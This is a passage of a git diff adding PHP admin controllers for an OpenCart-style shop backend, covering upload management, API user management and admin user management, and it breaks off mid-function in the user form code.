+ $data['uploads'][] = array(
+ 'upload_id' => $result['upload_id'],
+ 'name' => $result['name'],
+ 'filename' => $result['filename'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'download' => $this->url->link('tool/upload/download', 'user_token=' . $this->session->data['user_token'] . '&code=' . $result['code'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } elseif (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_filename'] = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . '&sort=filename' . $url, true);
+ $data['sort_date_added'] = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $upload_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($upload_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($upload_total - $this->config->get('config_limit_admin'))) ? $upload_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $upload_total, ceil($upload_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('tool/upload', $data));
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'tool/upload')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function download() {
+ $this->load->model('tool/upload');
+
+ $this->load->language('tool/upload');
+
+ if (isset($this->request->get['code'])) {
+ $code = $this->request->get['code'];
+ } else {
+ $code = 0;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $upload_info = $this->model_tool_upload->getUploadByCode($code);
+
+ if ($upload_info) {
+ $file = DIR_UPLOAD . $upload_info['filename'];
+ $mask = basename($upload_info['name']);
+
+ if (file_exists($file) && filesize($file) > 0) {
+ $this->response->addheader('Pragma: public');
+ $this->response->addheader('Expires: 0');
+ $this->response->addheader('Content-Description: File Transfer');
+ $this->response->addheader('Content-Type: application/octet-stream');
+ $this->response->addheader('Content-Disposition: attachment; filename="' . ($mask ? $mask : basename($file)) . '"');
+ $this->response->addheader('Content-Transfer-Encoding: binary');
+
+ $this->response->setOutput(file_get_contents($file, FILE_USE_INCLUDE_PATH, null));
+ } else {
+ $this->session->data['error'] = $this->language->get('error_file');
+
+ $this->response->redirect($this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ } else {
+ $this->session->data['error'] = $this->language->get('error_upload');
+
+ $this->response->redirect($this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ }
+
+ public function upload() {
+ $this->load->language('sale/order');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'tool/upload')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
+ // Sanitize the filename
+ $filename = html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8');
+
+ if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 128)) {
+ $json['error'] = $this->language->get('error_filename');
+ }
+
+ // Allowed file extension types
+ $allowed = array();
+
+ $extension_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_ext_allowed'));
+
+ $filetypes = explode("\n", $extension_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array(strtolower(substr(strrchr($filename, '.'), 1)), $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ $allowed = array();
+
+ $mime_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_mime_allowed'));
+
+ $filetypes = explode("\n", $mime_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array($this->request->files['file']['type'], $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Check to see if any PHP files are trying to be uploaded
+ $content = file_get_contents($this->request->files['file']['tmp_name']);
+
+ if (preg_match('/\<\?php/i', $content)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Return any upload error
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ $file = $filename . '.' . token(32);
+
+ move_uploaded_file($this->request->files['file']['tmp_name'], DIR_UPLOAD . $file);
+
+ // Hide the uploaded file name so people can not link to it directly.
+ $this->load->model('tool/upload');
+
+ $json['code'] = $this->model_tool_upload->addUpload($filename, $file);
+
+ $json['success'] = $this->language->get('text_upload');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/user/api.php b/public/admin/controller/user/api.php
new file mode 100644
index 0000000..1b66390
--- /dev/null
+++ b/public/admin/controller/user/api.php
@@ -0,0 +1,417 @@
+load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_api->addApi($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_api->editApi($this->request->get['api_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('user/api');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/api');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $api_id) {
+ $this->model_user_api->deleteApi($api_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'username';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('user/api/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('user/api/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['apis'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $user_total = $this->model_user_api->getTotalApis();
+
+ $results = $this->model_user_api->getApis($filter_data);
+
+ foreach ($results as $result) {
+ $data['apis'][] = array(
+ 'api_id' => $result['api_id'],
+ 'username' => $result['username'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('user/api/edit', 'user_token=' . $this->session->data['user_token'] . '&api_id=' . $result['api_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_username'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=username' . $url, true);
+ $data['sort_status'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . '&sort=date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $user_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($user_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($user_total - $this->config->get('config_limit_admin'))) ? $user_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $user_total, ceil($user_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/api_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['api_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+ $data['text_ip'] = sprintf($this->language->get('text_ip'), $this->request->server['REMOTE_ADDR']);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['username'])) {
+ $data['error_username'] = $this->error['username'];
+ } else {
+ $data['error_username'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['api_id'])) {
+ $data['action'] = $this->url->link('user/api/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('user/api/edit', 'user_token=' . $this->session->data['user_token'] . '&api_id=' . $this->request->get['api_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['api_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $api_info = $this->model_user_api->getApi($this->request->get['api_id']);
+ }
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } elseif (!empty($api_info)) {
+ $data['username'] = $api_info['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['key'])) {
+ $data['key'] = $this->request->post['key'];
+ } elseif (!empty($api_info)) {
+ $data['key'] = $api_info['key'];
+ } else {
+ $data['key'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($api_info)) {
+ $data['status'] = $api_info['status'];
+ } else {
+ $data['status'] = 0;
+ }
+
+ // IP
+ if (isset($this->request->post['api_ip'])) {
+ $data['api_ips'] = $this->request->post['api_ip'];
+ } elseif (isset($this->request->get['api_id'])) {
+ $data['api_ips'] = $this->model_user_api->getApiIps($this->request->get['api_id']);
+ } else {
+ $data['api_ips'] = array();
+ }
+
+ // Session
+ $data['api_sessions'] = array();
+
+ if (isset($this->request->get['api_id'])) {
+ $results = $this->model_user_api->getApiSessions($this->request->get['api_id']);
+
+ foreach ($results as $result) {
+ $data['api_sessions'][] = array(
+ 'api_session_id' => $result['api_session_id'],
+ 'session_id' => $result['session_id'],
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('datetime_format'), strtotime($result['date_modified']))
+ );
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/api_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'user/user')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['username'])) < 3) || (utf8_strlen(trim($this->request->post['username'])) > 64)) {
+ $this->error['username'] = $this->language->get('error_username');
+ }
+
+ if ((utf8_strlen($this->request->post['key']) < 64) || (utf8_strlen($this->request->post['key']) > 256)) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ if (!isset($this->error['warning']) && !isset($this->request->post['api_ip'])) {
+ $this->error['warning'] = $this->language->get('error_ip');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'user/api')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function deleteSession() {
+ $this->load->language('user/api');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'user/api')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('user/api');
+
+ $this->model_user_api->deleteApiSession($this->request->get['api_session_id']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/user/user.php b/public/admin/controller/user/user.php
new file mode 100644
index 0000000..a8674c4
--- /dev/null
+++ b/public/admin/controller/user/user.php
@@ -0,0 +1,495 @@
+load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user->addUser($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user->editUser($this->request->get['user_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('user/user');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $user_id) {
+ $this->model_user_user->deleteUser($user_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'username';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('user/user/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('user/user/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['users'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $user_total = $this->model_user_user->getTotalUsers();
+
+ $results = $this->model_user_user->getUsers($filter_data);
+
+ foreach ($results as $result) {
+ $data['users'][] = array(
+ 'user_id' => $result['user_id'],
+ 'username' => $result['username'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('user/user/edit', 'user_token=' . $this->session->data['user_token'] . '&user_id=' . $result['user_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_username'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . '&sort=username' . $url, true);
+ $data['sort_status'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $user_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($user_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($user_total - $this->config->get('config_limit_admin'))) ? $user_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $user_total, ceil($user_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['user_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['username'])) {
+ $data['error_username'] = $this->error['username'];
+ } else {
+ $data['error_username'] = '';
+ }
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['user_id'])) {
+ $data['action'] = $this->url->link('user/user/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('user/user/edit', 'user_token=' . $this->session->data['user_token'] . '&user_id=' . $this->request->get['user_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['user_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $user_info = $this->model_user_user->getUser($this->request->get['user_id']);
+ }
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } elseif (!empty($user_info)) {
+ $data['username'] = $user_info['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['user_group_id'])) {
+ $data['user_group_id'] = $this->request->post['user_group_id'];
+ } elseif (!empty($user_info)) {
+ $data['user_group_id'] = $user_info['user_group_id'];
+ } else {
+ $data['user_group_id'] = '';
+ }
+
+ $this->load->model('user/user_group');
+
+ $data['user_groups'] = $this->model_user_user_group->getUserGroups();
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
